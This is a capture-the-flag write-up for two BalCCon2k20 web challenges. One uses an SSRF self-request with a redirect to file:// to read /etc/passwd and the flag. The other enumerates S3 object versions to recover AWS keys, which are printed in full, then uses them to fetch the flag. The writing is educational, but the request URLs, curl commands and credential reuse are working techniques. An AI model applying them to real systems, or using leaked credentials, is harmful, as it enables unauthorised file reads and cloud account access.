Last weekend, I had the time to play the BalCCon2k20 CTF and since there are no writeups for the last two web challenges yet, I decided to change that.
The challenge's description can be found on ctftime. The service allowed us to display the content of a passed URL.
Looking at the source code we see:
- The flag is at
/flag.txt
- Your IP is
10.x.y.z
(I can't remember the exact IP anymore)
When submitting a URL, the data is sent via GET: https://let-me-see.pwn.institute/?url=<myurl>
. A filter is applied so that only http://
URLs are accepted.
The obvious idea is to try to request http://127.0.0.1/flag.txt
, but instead of the flag we get Wrong way
. I tried a few "localhost" bypasses to no avail, so I set up a python-based webserver and entered http://<myip>/test
and it returned the contents of my page.
Again, I tried the common tricks such as returning a 302 redirect, but the service would not honour redirects :-/
At some point I realised I could make the service request itself:
https://let-me-see.pwn.institute/?url=http://localhost/
This brought me one step closer to the solution as I got the following response now: Your IP is 127.0.0.1. Privileged mode enabled
With this knowledge, I tried to request my server again: https://let-me-see.pwn.institute/?url=http://localhost/?url=http://<myip>/test
.
It turned out that the Privileged mode
enabled redirects, so my next try was to return a 302 redirect to http://127.0.0.1/flag.txt
. Unfortunately, this was rejected with Wrong way
again.
Somehow I recalled that we were limited to http://
only, but maybe we can change the protocol using a redirect? Yes, we can! Returning a redirect to file:///etc/passwd
showed the contents of /etc/passwd
on the server.
After a few seconds of guessing the path to the webserver's document root, I realised that /flag.txt
could be the path on the filesytem.
The solution is: https://let-me-see.pwn.institute/?url=http://localhost/?url=http://<myip>/redirect
with a redirect to file:///flag.txt
.
BCTF{tricky_curl_redirect_to_file_protocol}
The challenge's description can be found on ctftime. When browsing to the website http://dawsonite.pwn.institute/
we see an almost empty page and just a <script src='config.js'>
. The config.js
contains // Note: don't put here anything before the release!
.
Looking at the domain itself, we find that it is hosted on Amazon S3 or something:
$> dig dawsonite.pwn.institute
[...]
;; ANSWER SECTION:
dawsonite.pwn.institute. 1658 IN CNAME dawsonite.pwn.institute.s3-website-us-east-1.amazonaws.com.
dawsonite.pwn.institute.s3-website-us-east-1.amazonaws.com. 27 IN CNAME s3-website-us-east-1.amazonaws.com.
s3-website-us-east-1.amazonaws.com. 5 IN A 52.217.17.3
We can also send requests to the CNAME
ed host directly which returns some interesting headers:
curl -vvv 'http://dawsonite.pwn.institute.s3-website-us-east-1.amazonaws.com/config.js'
* Trying 52.217.65.147:80...
* Connected to dawsonite.pwn.institute.s3-website-us-east-1.amazonaws.com (52.217.65.147) port 80 (#0)
> GET /config.js HTTP/1.1
> Host: dawsonite.pwn.institute.s3-website-us-east-1.amazonaws.com
> User-Agent: curl/7.72.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< x-amz-id-2: zuMPHwbuKnWnNHWEamVyTlizK7izQoR4Xg5raRMBqnx3qoxDuncxGX44cL6lZkC651DQPD2j2p0=
< x-amz-request-id: 5D7FFA361968F4FC
< Date: Sat, 26 Sep 2020 22:42:46 GMT
< Last-Modified: Wed, 23 Sep 2020 09:10:47 GMT
< x-amz-version-id: d5qbnafdItdUyCl0PmGVlT7p4sgeML2r
< ETag: "9585d46624f568e4945a269c6f6726a3"
< Content-Type: text/javascript
< Content-Length: 72
< Server: AmazonS3
<
var debug = true;
// Note: don't put here anything before the release!
The x-amz-version-id
header caught my attention, so I believed we had to somehow access an earlier version of config.js
.
I continued reading some AWS documentation to understand how hosting (static) websites on S3 works. After failing to find an official mapping between S3 buckets and the s3-website-<zone>.amazonaws.com
domain, I simply checked dawsonite.pwn.institute
as the bucket name... and succeeded to get more information about the bucket:
<ListBucketResult>
<Name>dawsonite.pwn.institute</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>config.js</Key>
<LastModified>2020-09-23T09:10:47.000Z</LastModified>
<ETag>"9585d46624f568e4945a269c6f6726a3"</ETag>
<Size>72</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>error.html</Key>
<LastModified>2020-09-23T09:10:43.000Z</LastModified>
<ETag>"27b75598ab385ecf59527b7b0d00ec13"</ETag>
<Size>109</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flag.txt</Key>
<LastModified>2020-09-23T09:10:43.000Z</LastModified>
<ETag>"c2f22cda33e45ea75db69a57fbe825f2"</ETag>
<Size>38</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>index.html</Key>
<LastModified>2020-09-23T09:10:43.000Z</LastModified>
<ETag>"4f7ba60137c505a24cf8dfdd22406d8e"</ETag>
<Size>176</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>
Directly accessing /flag.txt
did not work due to missing permissions. I continued to read about S3 versioning and apparently you just need to append ?versions
to retrieve the VersionId
s:
$> curl https://dawsonite.pwn.institute.s3.amazonaws.com/?versions&prefix=config.js
<ListVersionsResult>
<Name>dawsonite.pwn.institute</Name>
<Prefix>config.js</Prefix>
<KeyMarker/>
<VersionIdMarker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Version>
<Key>config.js</Key>
<VersionId>d5qbnafdItdUyCl0PmGVlT7p4sgeML2r</VersionId>
<IsLatest>true</IsLatest>
<LastModified>2020-09-23T09:10:47.000Z</LastModified>
<ETag>"9585d46624f568e4945a269c6f6726a3"</ETag>
<Size>72</Size>
<StorageClass>STANDARD</StorageClass>
</Version>
<Version>
<Key>config.js</Key>
<VersionId>zcoAvy97sFgFdR08.kypq1KyLj9iZuAD</VersionId>
<IsLatest>false</IsLatest>
<LastModified>2020-09-23T09:10:43.000Z</LastModified>
<ETag>"102ccb4a3b625d593263ebcd1a656d5e"</ETag>
<Size>140</Size>
<StorageClass>STANDARD</StorageClass>
</Version>
</ListVersionsResult>
There are two different versions for config.js
. My bet was that the flag is in the older version zcoAvy97sFgFdR08.kypq1KyLj9iZuAD
:
curl -vvv 'dawsonite.pwn.institute.s3.amazonaws.com/config.js?versionId=zcoAvy97sFgFdR08.kypq1KyLj9iZuAD'
* Trying 52.216.163.67:80...
* Connected to dawsonite.pwn.institute.s3.amazonaws.com (52.216.163.67) port 80 (#0)
> GET /config.js?versionId=zcoAvy97sFgFdR08.kypq1KyLj9iZuAD HTTP/1.1
> Host: dawsonite.pwn.institute.s3.amazonaws.com
> User-Agent: curl/7.72.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< x-amz-id-2: EDbTag41td7ElqLQv0KisH7BNCKL3hY4ETwqR05ozSshByf6jYf0fYFWOLrD3qXNgLQbKlyEYT8=
< x-amz-request-id: ET8XAJ0P0SBM7R0M
< Date: Sat, 26 Sep 2020 22:56:24 GMT
< Last-Modified: Wed, 23 Sep 2020 09:10:43 GMT
< ETag: "102ccb4a3b625d593263ebcd1a656d5e"
< x-amz-version-id: zcoAvy97sFgFdR08.kypq1KyLj9iZuAD
< Accept-Ranges: bytes
< Content-Type: text/javascript
< Content-Length: 140
< Server: AmazonS3
<
var debug = false;
var aws_access_key_id = 'AKIAZURPQPLPI4BVK6WF';
var aws_secret_access_key = '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';
* Connection #0 to host dawsonite.pwn.institute.s3.amazonaws.com left intact
Instead we get a set of AWS credentials. Using the aws-cli and aws configure
we can retrieve the flag.txt
:
root@hacking:~# aws s3api get-object --bucket dawsonite.pwn.institute --key flag.txt flag.txt
{
"VersionId": "pBGb5PqEqB.UXLUcQ9Boe_cBoQwdljyW",
"AcceptRanges": "bytes",
"Metadata": {},
"ETag": "\"c2f22cda33e45ea75db69a57fbe825f2\"",
"ContentLength": 38,
"ContentType": "text/plain",
"LastModified": "Wed, 23 Sep 2020 09:10:43 GMT"
}
root@hacking:~# cat flag.txt
BCTF{zdravo_aws_cloud_master_kako_ste}